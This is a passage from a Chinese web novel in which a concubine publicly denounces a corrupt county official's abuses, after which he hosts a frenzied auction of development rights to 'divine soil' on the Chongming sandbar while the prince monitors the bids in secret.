“我们落到今天这步田地!是谁害的?!啊?!是谁?!是你!是你这个丧尽天良、猪狗不如的东西!!” 她猛地转身,手指如同淬毒的利剑般,带着雷霆万钧之势,狠狠指向角落里抱着孩子、瑟瑟发抖的六姨娘! “你看看她!看看小六!!”五姨娘的声音如同淬了冰的刀子,每一个字都带着血淋淋的控诉, “她是怎么进这个门的?!是你!是你这个畜生!!” 她逼近一步,目光死死锁住王有德瞬间惨白的脸: “那年冬天!她爹!城东的张秀才!病得只剩一口气!家里连买药的钱都没有!你!你这个披着官皮的豺狼!带着你的狗腿子!踹开她家的破门!!” 五姨娘的声音陡然拔高,带着撕裂空气的尖啸: “你看着躺在破床上咳血的张秀才!看着跪在地上苦苦哀求的小六!你说了什么?!啊?!你说:‘要么,跟老爷我走,享福去!要么,看着你爹活活咳死!’!!” 她猛地回头,看向早已泪流满面、浑身颤抖的六姨娘,声音带着锥心刺骨的悲愤: “小六!你告诉他!你是怎么被拖上他那顶镶金嵌玉的破轿子的?!你爹是怎么眼睁睁看着你被抢走!一口血喷在祖传的《论语》上!当夜就活活气死的?!!” 第661章 吃人不吐骨头 六姨娘再也忍不住,发出一声压抑到极致的、如同小兽般的悲鸣,将脸深深埋进霖哥儿的颈窝,瘦弱的肩膀剧烈地耸动着,无声的泪水瞬间浸湿了孩子的衣领。 王有德如同被重锤击中胸口,踉跄着后退一步,嘴唇哆嗦着,想要辩解:“我……我那是……” “你闭嘴!”五姨娘厉声打断,如同愤怒的雌狮!她的手指猛地调转方向,如同毒蛇吐信,狠狠指向一旁脸色煞白、指甲深深掐进掌心的四姨娘! “还有她!四姐!!”五姨娘的声音带着滔天的恨意,“你以为她心甘情愿跟着你?!你问问她!问问她娘家那几十亩上好的水田是怎么到你名下的?!!” 她逼近王有德,眼中燃烧着复仇的火焰: “是你!是你勾结县衙的胥吏!伪造地契!诬陷她娘家兄弟偷税漏税!把他们抓进大牢!严刑拷打!逼得她那年仅十六岁的亲弟弟!走投无路!最后……最后绑着石头跳进了护城河!尸骨都没捞上来!!” 五姨娘的声音因为极致的愤怒而变得破音,如同泣血: “她!她是为了保住娘家最后一点血脉!保住她那年迈的老娘!才……才不得不委身于你这个吃人不吐骨头的豺狼!你这个手上沾满血债的屠夫!!” 四姨娘浑身剧震,猛地抬起头,眼中爆发出如同实质般的怨毒光芒,死死瞪着王有德,牙齿咬得咯咯作响,从牙缝里挤出几个字:“畜生,你不得好死!” 王有德脸色由白转青,额头青筋暴跳,他张着嘴,喉咙里发出“嗬嗬”的怪响,却一个字也吐不出来。 五姨娘的手指如同索命的判官笔,带着无尽的恨意,继续扫过那些蜷缩在角落、瑟瑟发抖的侍妾: “还有她们!这些可怜的女人!!”她的声音带着悲悯和滔天的怒火, “你以为她们都是心甘情愿进这个火坑的吗?!是你!是你这个狗官!!” 她猛地指向王有德,指尖因为愤怒而剧烈颤抖: “前年大旱!朝廷拨下来的赈灾粮!被你贪墨了大半!你!你打着施粥的幌子!在粥棚旁边立了个牌子!‘卖女者,得粮三斗!’!!” 她眼中泪水汹涌而出,声音带着撕裂般的痛苦: “她们!她们就是被你用那几斗发霉的陈米,从她们饿得奄奄一息的爹娘手里硬生生买来的啊!!你看看小翠!她才十四岁!被你买进来不到三个月!就被你折磨得遍体鳞伤!最后投了井!尸首捞上来的时候身上没一块好肉啊!!” 被指到的几个侍妾再也忍不住,抱在一起失声痛哭,哭声凄厉绝望,如同控诉着地狱般的过往。 王有德的身体剧烈摇晃,如同风中残烛,脸上死灰一片,嘴唇哆嗦着,却发不出任何声音。 五姨娘猛地指向那几个懵懂无知的孩子,声音带着最后的、毁灭性的力量: “还有这些孩子!他们的娘是怎么死的?!是被你折磨死的!是被你当成礼物送人糟蹋死的!你……你这个披着人皮的畜生!你手上沾了多少血?!你毁了多少家?!你害了多少人?!!” 她越说越激动,胸脯剧烈起伏,声音因为极致的愤怒而变得彻底破音,如同夜枭最后的哀鸣: “你做这么多伤天害理的事!是为了我们?!为了这个家?!呸!!” 她狠狠地啐了一口,唾沫星子如同冰雹般溅到王有德灰败的脸上! “你是为了你自己!为了你的荣华富贵!为了你的官位权势!为了满足你那肮脏龌龊的私欲!!” “你贪!你狠!你毒!你把沪县百姓的血肉都榨干了!你把我们所有人都拖进了这万劫不复的深渊!!” “现在!你还有脸回来!还有脸说你是为了我们?!还有脸让我们感激你?!!” “王有德!你的良心被狗吃了吗?!你怎么不去死啊!!!” “哇——!!” 一声尖锐的、充满极致恐惧的孩童啼哭,如同最后的丧钟,骤然炸响! 是霖哥儿! 他被这激烈的争吵、母亲颤抖的身体和五姨娘那如同厉鬼索命般的控诉彻底吓坏了! 他猛地从六姨娘怀里挣脱出来,小脸煞白,眼睛瞪得溜圆,充满了纯粹的、对眼前这个“人”的恐惧! 他指着王有德,用尽全身力气哭喊道: “坏人!坏人!娘!我怕!呜呜呜……坏人来了!打坏人!打坏人!呜呜呜……” 这哭声,如同最锋利的冰锥,带着孩童最纯净的恐惧和憎恶,瞬间刺穿了王有德最后的防线!他猛地看向那个哭得撕心裂肺、视他如洪水猛兽的孩子——那是他的儿子!他的亲生骨肉! “坏人……坏人……”王有德喃喃自语,身体如同被抽走了所有骨头,猛地一晃! 他踉跄着,几乎站立不稳。他看着眼前这一张张熟悉又陌生的脸——曾经对他百依百顺、曲意逢迎的妻妾,此刻眼中只剩下冷漠、怨恨和恐惧;他视若珍宝的儿子,此刻却视他为洪水猛兽,叫他“坏人”! 一股巨大的、从未有过的悲凉和绝望,如同西伯利亚的寒流,瞬间将他彻底淹没! 他所有的愤怒,所有的委屈,所有的辩解,在这一刻,都显得那么苍白无力,那么可笑至极! 他仿佛第一次真正看清了自己——一个丑陋、肮脏、罪大恶极的魔鬼! 一个连亲生儿子都恐惧憎恨的“坏人”! 王有德脸上的血色彻底褪尽,只剩下死灰般的绝望。 他佝偻着背脊,仿佛瞬间被抽干了所有精气神,苍老了二十岁。 他张了张嘴,似乎想说什么,喉咙里却只发出一声如同濒死野兽般的、低沉而沙哑的呜咽。 他缓缓地、踉跄地转过身,不再看任何人,不再说一句话,如同一个失去了灵魂的空壳,一步一步,拖着灌了铅般沉重的步伐,朝着门外那片渐渐沉入黑暗的暮色中走去。 那背影,在昏黄的余晖下拉得老长,充满了无尽的孤独、凄凉和……彻底的、万劫不复的幻灭。 第662章 拍卖会 暮色如同巨大的、浸透了墨汁的幕布,沉沉地覆盖在沪县东城那片巨大的废墟之上。 残阳的最后一丝余晖早已被吞没,只在天际留下一抹死寂的暗红。 曾经象征着秩序与壁垒的城墙、承载着烟火人间的屋舍、代表着权力中心的县衙。 所有的一切,都在过去一个月里,被数千名如同工蚁般不知疲倦的壮丁,用汗水、号子、撬棍和铁锤,彻底夷为平地! 此刻,这里只剩下犬牙交错的断壁残垣、堆积如山的碎砖烂瓦、裸露在空气中散发着土腥味的夯土地基,以及那无处不在、仿佛渗入骨髓的、混合着尘土与腐朽气息的荒凉。 这片废墟,是旧世界被彻底碾碎的残骸,也是新秩序即将破土而出的祭坛。 然而,就在这片象征着毁灭与新生的巨大废墟中央,一场以金钱为燃料、以贪婪为动力的狂欢盛宴,正随着夜幕的彻底降临,点燃了足以照亮整个沪县夜空的火焰! ?数百根手臂粗细、浸透了上等松脂的特制火把,被碗口粗的木桩牢牢地钉在临时夯实的土台周围和废墟的关键节点上。 熊熊燃烧的火焰,如同一条条挣脱了束缚的赤色怒龙,疯狂地扭动着身躯,发出“噼啪”的爆响,贪婪地舔舐着沉沉的黑暗。 炽烈的火光冲天而起,将方圆数百丈的废墟照耀得如同白昼! 跳动的光影在断壁残垣上投下巨大而扭曲、如同鬼魅般摇曳的阴影,仿佛有无数不甘的亡魂在无声地咆哮、挣扎,为这场盛宴平添了几分魔幻而肃杀的末世气息。 松脂燃烧的焦香混合着热浪,弥漫在空气中,带着一种原始而暴烈的力量。 废墟中央,一座临时用丈许长、半人高的巨大青石条和寸许厚的硬木跳板搭建起的高台,如同祭坛般巍然矗立。 高台足有丈余高,表面铺着崭新的、厚实的猩红色波斯绒毯,在火光的映照下流淌着奢华而血腥的光泽。 高台四周,是临时平整出来的、足有数亩大小的空地,地面铺了厚厚一层从江边运来的、被河水冲刷得干净均匀的细白河沙,踩上去柔软无声。此刻,这片沙地上,早已密密麻麻、整齐有序地摆满了三百余张特制的紫檀木圈椅! 每一张椅子都宽大舒适,扶手打磨得光滑圆润,椅背雕刻着简单的祥云纹饰,铺着与高台同色的猩红绒垫。 椅子之间留有足够的空隙,方便侍者穿梭。 每张椅子旁,都设有一张同样材质、同样大小的精巧小几,上面摆放着景德镇官窑烧制的青花瓷盘,盘中是码放整齐的岭南荔枝、西域葡萄、时令瓜果;宜兴紫砂小壶中沏着上等的雨前龙井,袅袅茶香混合着果香,在空气中氤氲;旁边还有苏式细点,如水晶虾饺、蟹粉小笼、桂花糖藕,精致得如同艺术品。 空气中弥漫着松脂燃烧的焦香、名贵沉水香燃烧后清冽的余韵、新鲜瓜果的甜香、热茶的清香、点心的油香……以及……一种浓烈得几乎凝成实质、名为“金钱”的躁动气息! 这气息来自台下那三百余位来自天南海北、衣着光鲜、眼神锐利如鹰隼的富商巨贾!他们如同闻到血腥味的鲨鱼,早已汇聚于此! 高台正后方,悬挂着一面巨大的、用厚实帆布制成的深蓝色幕布,在夜风中微微鼓荡,如同深海涌动的暗流。 幕布前,王有德的身影,在跳动的、炽烈的火光映照下,显得格外醒目,也格外……诡异。 他穿着一身崭新的、象征着“喜庆”与“庄重”的暗红色团花织金锦缎吉服。 这身衣服剪裁合体,用料考究,金线在火光下闪烁着刺目的光芒,却与他此刻那张蜡黄浮肿、如同死人般灰败的脸庞形成了触目惊心的对比。 厚厚的铅粉和胭脂涂抹在脸上,试图掩盖那无法掩饰的死气和恐惧,却如同戴上了一张僵硬而滑稽的戏子面具,在火光下反射着油腻而诡异的光泽。 他努力挺直那早已被抽走了骨头的佝偻背脊,脸上挤出一个极其夸张、谄媚到近乎扭曲的笑容,对着台下黑压压的人群深深作揖,腰弯得几乎要折断。 他的动作僵硬而夸张,如同被无形丝线操控的木偶,每一个关节都透着不自然的滞涩。 “诸位江南父老!诸位商界翘楚!诸位远道而来的贵宾!!” 王有德的声音通过一个临时制作的、黄铜打造的简陋喇叭筒传出,带着一种刻意拔高的、嘶哑颤抖的腔调,在空旷的废墟上空回荡,显得格外刺耳,如同夜枭啼鸣。 “鄙人王有德,蒙世子殿下不弃!委以主持今日盛典之重任!深感荣幸之至!惶恐之至!!” 他再次深深作揖,腰弯得极低,额头几乎要碰到铺着红毯的台面,姿态卑微到了尘埃里,仿佛在叩拜一群掌握他生死的财神。 “今夜!今夜!是沪县……不!是江南!乃至整个大乾!前所未有之盛事!!” 他猛地直起身,张开双臂,试图营造一种恢弘的气势,但那佝偻的身形在火光下拉出长长的、如同小丑般扭曲变形的影子,投射在深蓝色的幕布上,显得格外滑稽。 “世子殿下!高瞻远瞩!雄才大略!于沪县设立经济特区!此乃泽被苍生!功在千秋之伟业!!” “而今日!今日这场拍卖!拍卖的非是寻常土地!非是寻常产业!!” 他声音陡然拔高,带着一种近乎狂热的煽动性,如同神棍在布道,手指猛地指向身后那巨大的幕布! “拍卖的!乃是‘息壤’!??乃是‘神土’!??乃是未来万世之基业!子孙后代之福泽!!?” “息壤”二字一出,如同在滚烫的油锅里泼进一瓢冷水! 台下原本还带着矜持、审视、互相试探寒暄的三百余位富商巨贾,瞬间如同被点燃的干柴堆! 眼中爆发出难以抑制的、如同饿狼般贪婪的光芒! 身体不由自主地前倾! 原本低沉的交谈声、茶盏碰撞声瞬间消失! 空气中响起一片压抑不住的、倒吸冷气发出的“嘶嘶”声和兴奋的低语声! 所有人的目光,如同数百道探照灯,齐刷刷地、死死地聚焦在那块巨大的幕布上!贪婪、渴望、志在必得!仿佛那幕布之后,藏着足以让他们家族兴盛千年的宝藏! 王有德那张面具般的脸上,似乎也因台下这汹涌的贪婪而挤出了一丝病态的“生动”。 他猛地一挥手,动作带着一种破釜沉舟的决绝! “掀幕!!” 声音嘶哑却充满力量! 早已等候在幕布两侧的、四名穿着王府统一制式玄黑劲装、腰悬狭锋横刀的彪形大汉,闻声而动! 他们动作整齐划一,如同训练有素的士兵,猛地抓住幕布两侧垂下的粗大绳索,手臂肌肉贲张,用力向下一拉! “哗啦——!!” 巨大的幕布如同被斩断的瀑布,应声滑落! 一幅令人震撼到失语的巨大舆图,瞬间如同神迹般,毫无保留地呈现在所有人眼前! 这舆图并非绘制在寻常的宣纸或绢帛上,而是用数十张极其坚韧、泛着淡淡象牙光泽、触手温润的上等小羊羔皮精心鞣制、无缝拼接而成! 边缘用深紫色的、闪烁着暗金丝线的贡缎滚边,显得庄重华贵,气度非凡! 舆图之大,几乎覆盖了整个高台的后壁,宽逾三丈,高逾两丈! 图上的内容,更是精细绝伦,让所有商贾瞬间屏住了呼吸,眼中只剩下那令人窒息的瑰丽与……无边的诱惑! 舆图中央,以极其精准的笔触,描绘着长江入海口的壮阔景象! 蜿蜒曲折的长江如同一条奔腾咆哮的青色巨龙,挟裹着万钧之力,一头扎进浩瀚无垠、用深浅不同的靛蓝与群青渲染出的东海! 第663章 只卖开发使用权 波涛汹涌,浪花如雪,气势磅礴! 而在那巨龙之口,一片形状如同初生新月般的沙洲,被用最纯正、闪烁着细碎金粉的朱砂,极其醒目地勾勒出来!正是崇明沙洲!?? 沙洲的轮廓清晰无比,其上甚至用极细的墨线勾勒出隐约的滩涂、芦苇荡和水道雏形! 沙洲周围的海域,不仅标注着精确的水深(用数字清晰标明),还用细密的虚线标出了危险的暗礁区域,甚至用流畅的蓝色箭头,清晰地描绘了洋流的涌动方向! 更令人惊叹的是,图上特意用三颗硕大的、如同滴血般的红宝石(实为特制红琉璃镶嵌)?,醒目地标注出三处“天然深水锚地”! 旁边用小楷注释:“水深逾五丈,可泊万石巨舶”! 然而,最令人血脉贲张的,是舆图并非静止! 在沙洲的边缘,竟然用极其精细、如同活物般的笔触,绘制着向外呈放射状蔓延的、淡金色的、如同血管脉络般的虚线?! 这些虚线灵动飘逸,充满了生长的韵律感! 虚线旁用蝇头小楷标注:“息壤神土受天地灵气滋养,依江海潮汐之力,自然淤积扩张方向及速率推演(文昌阁楚大家监制)。” 这些金色的脉络,如同有生命般,向着东海深处坚定地蔓延,仿佛预示着这片土地未来无限的、令人疯狂的扩张潜力! 舆图下方,用遒劲有力、力透羊皮的颜体楷书,书写着几个斗大的金字:“沪县经济特区·崇明深水港暨息壤神土开发总图”! 落款处,赫然盖着一方碗口大小、鲜红欲滴、蟠龙盘绕、象征着镇北王府无上权威的蟠龙大印?! 印泥厚重,在火光下闪烁着金属般的光泽! “嘶——!” “天哪!!” “神土!果然是神土!看那金线!它在长!它在动啊!” “深水港!天然深水港!万石巨舶!我的天!这……这能通番邦了吧?!” “看那扩张的方向!未来……未来怕不是要连上倭国?!不!连上南洋都有可能!!” “王府大印!镇北王府大印!千真万确!!” 台下瞬间爆发出更加狂热的惊叹和几乎失控的议论声! 商贾们再也无法保持矜持,纷纷从舒适的圈椅上弹起身,伸长脖子,如同被磁石吸引般涌向高台前方,贪婪地、近乎痴迷地审视着舆图上的每一个细节! 眼神中充满了狂热、震撼和志在必得的、如同饿狼扑食般的凶光! 粗重的喘息声、急促的心跳声、压抑不住的惊呼声交织在一起! 空气中弥漫的金钱气息瞬间浓郁了十倍! 仿佛看到的不是一张图,而是一座触手可及、由黄金和白银堆砌而成的、光芒万丈的圣山! 王有德站在高台边缘,俯视着台下沸腾如滚粥的人群,感受着那几乎要将他点燃的贪婪热浪,心中那点可怜的恐惧被巨大的、近乎病态的亢奋取代(他深知自己这枚棋子的价值就在于此)。 他拿起那沉重的黄铜喇叭,声音因为激动而更加嘶哑,却充满了蛊惑人心的煽动力: “诸位!诸位请看!!” 他拿起一根长长的、顶端镶嵌着温润羊脂白玉的紫檀木指示棍(棍身雕刻着盘龙纹),颤抖着(这次是兴奋的颤抖)指向舆图上那片金粉勾勒、如同心脏般跳动的沙洲: “此!便是世子殿下钦定!由文昌星君降下神谕!赐予我大乾的——‘息壤神土’!?” 他的声音陡然拔高,带着一种近乎神棍布道般的狂热: “此土!非寻常凡土!乃上古神物!遇水则生!遇风则长!生生不息!永不枯竭!!其神异!史书有载!《山海经》可证!!” “诸位再看这图!”他用木棍重重地点在那些向外蔓延、如同生命脉络般的金色虚线上,白玉在火光下折射出炫目的光芒, “世子殿下亲请皇家书院楚大家!携门下二十二贤士!观星象!测水文!演地脉!历时三月!呕心沥血!方得此推演神图!!” 他环视台下,目光灼灼: “此神土!受天地灵气滋养!受江海潮汐哺育!正以日进一寸,月盈一尺之神速!向外淤积扩张!!” “今日!诸位拍下的!不仅仅是一块地!更是一片会自己生长的!一片未来将连接四海八荒的!?聚宝盆!?” 他猛地将木棍指向东海深处,手臂因用力而青筋暴起,声音如同惊雷炸响: “十年?!笑话!五年!只需五年!此沙洲!必将扩大数倍!成为沟通南北!连接内外的海上巨埠!东方明珠!?” “百年?!千年?!诸位!想想百年千年之后!此地将成为我大乾……不!是寰宇之内!最繁华!最富庶!最耀眼的财富之都!万邦来朝之地!?” 他唾沫横飞,脸上因为极致的亢奋而泛起病态的红晕,眼中闪烁着疯狂的光芒: “想想吧!诸位!想想你们的子孙后代!将在这片神土之上!建立起何等辉煌的基业?!将掌控何等庞大的财富?!将享受何等无上的荣光?!你们的姓氏!将因这片神土!铭刻在青史之上!万世传颂!!!” 台下彻底沸腾了! 如同压抑已久的火山轰然爆发! 商贾们呼吸急促如风箱,眼睛赤红如滴血! 粗重的喘息声汇成一片低沉的轰鸣! 有人激动地拍打着椅背,有人失态地扯开了衣领,有人死死攥着拳头,指甲陷入掌心! 贪婪的火焰在他们眼中熊熊燃烧,几乎要喷薄而出!仿佛金山银山已在眼前,万世基业唾手可得! 王有德深吸一口气,强行压下几乎要跳出胸腔的心脏(和那如影随形的恐惧),他知道最关键、最致命的时刻到了! 他拿起那根沉重的紫檀木棍,在舆图上那片金粉勾勒、如同心脏般搏动的沙洲上,用力地、清晰地、带着一种近乎切割黄金般的庄重感,划下了十三道笔直的、纵横交错的线条! 瞬间将整个沙洲分割成大小不等、形状各异的十三块区域!如同将一块巨大的蛋糕,分成了诱人的份额! “诸位!世子殿下有令!神土珍贵!福泽万世!故……只售使用权?!不售所有权?!” 他声音陡然转沉,带着不容置疑的、如同圣旨般的威严(狐假虎威): “所有权!归属朝廷!归属陛下!归属世子殿下!此乃天经地义!万世不移!如同日月星辰!亘古不变!!” “诸位拍下的!是三十年的独家特许开发经营权?!!” 他环视台下,目光扫过一张张因激动而扭曲的脸庞,声音带着一丝蛊惑人心的“坦诚”: “三十年内!拍得之地!便是你的王国!你的基业!你可在此!建码头!开商行!设工坊!兴百业!所有收益!尽归你所有!!如同封疆裂土!自主经营!!” 他话锋一转,声音带着一丝“体恤”的提醒,如同老友推心置腹: “当然!世子殿下也体恤诸位!神土初生!尚在淤积!如同襁褓婴儿!筋骨未成!眼下确实无法立刻大兴土木!建房造屋!此乃天地之理!非人力可强求!” 他脸上露出一个“理解”的、带着悲悯的笑容: “但是!诸位!!”他猛地提高音量,木棍再次重重敲击舆图,发出沉闷的“咚”声,如同战鼓擂响! “这正是千载难逢!万世难求的良机啊!!” 他的声音充满了极致的诱惑,如同魔鬼在耳边低语: “现在!圈下这块地!立下界碑!打下根基!它就是你的!如同播下神种!!” “未来……它会长大!会变得更大!更肥沃!更值钱!!” “你现在付出的每一两银子!都是在为你!为你的儿子!孙子!玄孙……玄孙的玄孙……买下一座取之不尽、用之不竭的万世金矿?!!” 他张开双臂,仿佛要拥抱整个未来: “想想看!三十年后!当你的子孙站在这里!看着这片由你亲手圈下、如今已楼宇如林、商船如梭、繁华似锦的万顷沃土!他们会如何感激你今日的远见卓识?!你的名字!将如同丰碑!矗立在家族祠堂的最高处!受万代香火供奉!!” “这!不是买卖!是投资!是传承!是福泽!是……千秋万代的富贵根基啊!!!” 第664章 无法估量的巨款 王有德那番极具蛊惑力的“千秋万代富贵根基”宣言,如同在早已沸腾的油锅里投入了最后一把烈火! 台下三百余位富商巨贾眼中最后一丝残存的理智,被那“万世金矿”、“子孙荣光”的极致诱惑彻底烧成了灰烬! 空气中弥漫的金钱硫磺气息浓烈得几乎令人窒息,粗重的喘息声、压抑的嘶吼声、茶盏被无意识捏碎的脆响交织在一起,汇成一股即将爆发的、毁灭性的声浪! 王有德站在高台边缘,感受着台下那如同实质般冲击而来的贪婪热浪,蜡黄的脸上病态的红晕更深了几分。 他深吸一口气,强行压下喉咙里翻涌的血腥味(连日来的恐惧和此刻的亢奋已让他心力交瘁),颤抖着举起那根镶嵌着羊脂白玉的紫檀木棍,如同举起一柄开启宝藏的钥匙,重重地敲击在拍卖台中央那面特制的、黄铜包边的硬木惊堂木上! “咚——!!!” 一声沉闷而极具穿透力的巨响,如同战鼓擂响,瞬间压过了台下的嘈杂! 所有人的目光如同被磁石吸引,死死聚焦在王有德和他手中的木棍上! “肃静!!”王有德嘶哑的声音通过铜皮喇叭,带着一种不容置疑的威严(尽管这威严如同纸糊的灯笼),“沪县经济特区·崇明深水港暨息壤神土·特许开发经营权拍卖会!现在——开始!!!” 他猛地转身,木棍指向身后巨大舆图上那片被金色脉络包裹的沙洲,精准地点在靠近西北角、面积最小(约五百亩)、但位置却极其关键——扼守长江主航道入海口、毗邻一处标注为“天然深水锚地”红宝石标记的一块区域! “第一标!崇明沙洲·西北角锚地区!面积五百亩!三十年独家特许开发经营权!!” 王有德的声音带着一种近乎破音的亢奋: “此标!起拍价——白银五十万两!!每次加价——不得低于五万两!!!” “竞拍——开始!!!” “轰——!” 如同点燃了炸药桶的引信!短暂的死寂后,台下瞬间爆发出山呼海啸般的竞价声浪! “六十万两!!”一个穿着团花锦缎、身材肥胖如球的扬州盐商猛地从椅子上弹起,挥舞着肥厚的手掌,声音如同破锣! “六十五万!!”他旁边一个精瘦如猴、留着山羊胡的苏杭丝绸商不甘示弱,尖利的声音几乎要刺破耳膜! “七十万!!”一个操着闽南口音、皮肤黝黑的海商拍案而起,脖子上挂着的鸽蛋大小的南洋珍珠随着他的动作剧烈摇晃! “八十万!!”一个穿着低调但气度沉稳的金陵钱庄主缓缓举起了手中的象牙号牌,声音不高,却带着一种不容置疑的财力碾压! 价格如同脱缰的野马,在短短几个呼吸间便疯狂飙升! 喊价声此起彼伏,如同战场上的厮杀! 商贾们面红耳赤,青筋暴跳,唾沫横飞! 有人激动地撕扯着自己的衣领,有人失态地踩在椅子上挥舞手臂,有人则阴沉着脸,手指在算盘上飞快地拨动,计算着风险和收益的极限! 空气中弥漫着浓烈的汗味、脂粉味和一种名为“贪婪”的、令人作呕的甜腥气息! “一百万两!!”那个肥胖的扬州盐商猛地一拍桌子,震得桌上的茶盏叮当作响! 他喘着粗气,脸上的肥肉因为激动而剧烈抖动,眼中闪烁着志在必得的凶光! 这个价格,已经远远超出了这块地当前的实际价值! 但他赌的是未来!赌的是那“息壤”的神话! 赌的是世子殿下亲自主导的“特区”前景! 更赌的是……拿下这第一标,在世子殿下面前露脸的巨大政治资本! 短暂的寂静。一百万两!如同一道无形的门槛,瞬间将许多实力稍逊的商人挡在了门外。他们不甘地咬着牙,眼中充满了懊恼和嫉妒,却只能无奈地坐下。 “一百万两!一次!”王有德的声音带着一丝颤抖的狂喜,木棍高高举起! “一百万两!两次!!” “一百一十万两!!”就在王有德即将落锤的瞬间,一个冰冷而清晰的声音从会场后方响起! 众人循声望去,只见一个穿着玄色暗纹直缀、面容冷峻、眼神锐利如鹰的中年男子缓缓举起了号牌。 他身边只坐着两名沉默如石的随从,气场却压倒了周围一片喧嚣。他是来自京城的皇商代表,背后站着的是某位深居简出的宗室亲王! “嘶——!”全场再次响起倒吸冷气的声音!皇商出手了!而且一加就是十万两!这已经不是简单的商业竞争,而是权力的角力! 扬州盐商的胖脸瞬间涨成了猪肝色!他死死盯着那个冷峻的皇商,眼中充满了愤怒、不甘和……一丝恐惧!和皇权抢食?他还没这个胆子! 最终,他如同泄了气的皮球,重重跌坐回椅子上,发出一声不甘的闷哼。 “一百一十万两!一次!” “一百一十万两!两次!” “一百一十万两!三次!!” “咚——!!!” 惊堂木再次敲响!声音清脆而冰冷! “成交!!!”王有德的声音因为激动而彻底破音,带着一种歇斯底里的尖锐,“崇明沙洲·西北角锚地区!五百亩!三十年特许经营权!归……归京城贵客所有!!恭喜贵客!!贺喜贵客!!!” 第一标的尘埃落定,如同投入平静湖面的巨石,激起的不是涟漪,而是滔天巨浪! 皇商的天价成交,非但没有吓退众人,反而如同给所有人打了一针强心剂!连皇亲国戚都如此看好!不惜重金!这“息壤”的价值还用怀疑吗?!世子殿下的“特区”前景还用质疑吗?! 接下来的拍卖,彻底陷入了疯狂! “第二标!崇明沙洲·东滩涂区!面积八百亩!起拍价八十万两!!” “九十万!” “一百万!” “一百二十万!” “一百五十万!!” “咚——!!!”成交! “第三标!崇明沙洲·南湾浅水区!面积一千亩!起拍价一百万两!!” “一百二十万!” “一百五十万!” “一百八十万!!” “两百万!!!” “咚——!!!”成交! 价格如同坐了火箭般疯狂飙升! 每一块土地,无论位置优劣,无论面积大小,都引发了疯狂的争夺! 商贾们如同红了眼的赌徒,将家族几代积累的财富、甚至不惜拆借挪用的巨款,如同泼水般砸向这场注定载入史册的豪赌! 喊价声、惊呼声、算盘珠的噼啪声、甚至因为竞价失败而发出的懊恼咒骂声……汇成一股震耳欲聋的、充满了金钱与欲望的狂潮! 废墟之上,火光之下,上演着一场赤裸裸的、以“息壤”为名的资本饕餮盛宴! 王有德站在高台上,如同一个被架在烈火上炙烤的木偶。 他机械地重复着拍卖流程,声音早已嘶哑不堪,每一次落锤都伴随着一阵剧烈的咳嗽和身体无法控制的颤抖。 汗水浸透了他厚重的吉服,脸上的脂粉被冲刷出一道道沟壑,露出底下死灰般的底色。 他看着台下那些疯狂挥舞号牌、如同恶鬼般争抢着“神土”的商贾,心中充满了荒诞的恐惧和一种濒临崩溃的虚脱感。 他知道,这场由他亲手点燃的贪婪之火,已经彻底失控,即将把他连同这座废墟一起,焚烧殆尽! ?? 第665章 有人要浑水摸鱼 与废墟拍卖场那如同火山喷发般的喧嚣与狂热截然相反,沪县县衙深处一间门窗紧闭、隔绝了所有声响的密室内,却是一片冰封般的死寂与绝对的掌控。 室内只点着一盏造型古朴的青铜雁鱼灯,豆大的火苗在灯罩内静静燃烧,散发出柔和而稳定的光芒。空气中弥漫着淡淡的、带着清冽药香的沉水香气息。 林臻端坐在一张宽大的紫檀木书案后,身姿挺拔如松。 他并未穿着象征身份的蟒袍玉带,而是一身素雅的月白色细麻常服,宽大的袖口随意地挽起,露出一截线条流畅、骨节分明的手腕。 他手中把玩着一块温润剔透、毫无杂质的羊脂白玉佩,指尖无意识地摩挲着玉佩上精细的蟠龙纹饰,动作从容而优雅。 书案上,摊开着一幅比拍卖会场那幅更为详尽、标注着无数蝇头小楷注释的崇明沙洲舆图。 舆图旁,放着一本摊开的、墨迹尚新的账册,上面密密麻麻记录着各种数据——拍卖标的、起拍价、当前最高竞价、竞拍者背景、预估成交价…… 密室的门无声地滑开一条缝隙。 一个穿着玄色劲装、如同影子般毫无存在感的暗卫(黄鼠)悄无声息地闪了进来,单膝跪地,声音低沉而清晰,如同冰冷的金属摩擦: “禀世子,第一标,西北角锚地区,五百亩,成交价一百一十万两,买家,京城庆郡王府门下皇商,李慕白。” “第二标,东滩涂区,八百亩,成交价一百五十万两,买家,扬州盐商总会,赵四海。” “第三标,南湾浅水区,一千亩,成交价两百万两,买家,苏杭丝绸行会联合体,孙茂才。” “第四标……” 黄鼠的声音毫无波澜,如同机器般精准地报出一个个令人咋舌的天文数字和显赫的买家名号。 林臻静静地听着,脸上没有任何表情。 他深邃的眼眸如同古井寒潭,映照着跳动的灯火,却不起丝毫涟漪。 仿佛外面那场席卷了数百万两白银的资本风暴,那些足以让一个中等国家为之疯狂的财富流动,在他眼中,不过是棋盘上几枚微不足道的棋子移动。 当黄鼠报出第七标(一块位置相对偏僻的沙洲腹地)以一百八十万两成交时,林臻的指尖在玉佩上微微一顿。 他抬起眼,目光落在舆图上那块被标注为“第七标”的区域,嘴角缓缓勾起一抹极淡、却冰冷至极的弧度。 “第七标……是金陵‘通宝钱庄’的周大福拍下的?”他的声音平静无波,听不出喜怒。 “是,殿下。”黄鼠垂首应道。 “通宝钱庄……背后是户部左侍郎刘墉的妻弟?”林臻的语气带着一丝玩味。 “正是。” “呵……”林臻发出一声几不可闻的轻笑,那笑声里充满了洞悉一切的嘲弄,“刘侍郎……倒是舍得下本钱。看来,户部这些年火耗的油水,着实不少。” 他不再多言,指尖继续摩挲着玉佩。 黄鼠继续汇报着最新的竞价情况。 当报出第十标(一块靠近中心、面积最大、位置最优的沙洲核心区)的竞价已经突破三百万两,并且还在疯狂攀升时,林臻的眉头都没有皱一下。 他只是微微侧头,对侍立在一旁、如同雕塑般的橙萱吩咐道:“告诉张俪,拍卖结束后,所有保证金和尾款,直接划入‘特区建设基金库’,由她全权调配。一分一厘,都不许流入户部或内务府的账目。” “是,殿下。”橙萱躬身领命,声音清脆。 密室再次陷入沉寂。 只有黄鼠那冰冷的声音,如同报幕般,将外面那场金钱的狂欢,以最精确、最冷酷的方式,传递到这方寸之间。 林臻的目光重新落回书案上的舆图。 他的手指缓缓划过那些被分割拍卖的“神土”,最终停留在崇明沙洲之外,那片浩瀚无垠、用深邃靛蓝渲染的东海上。 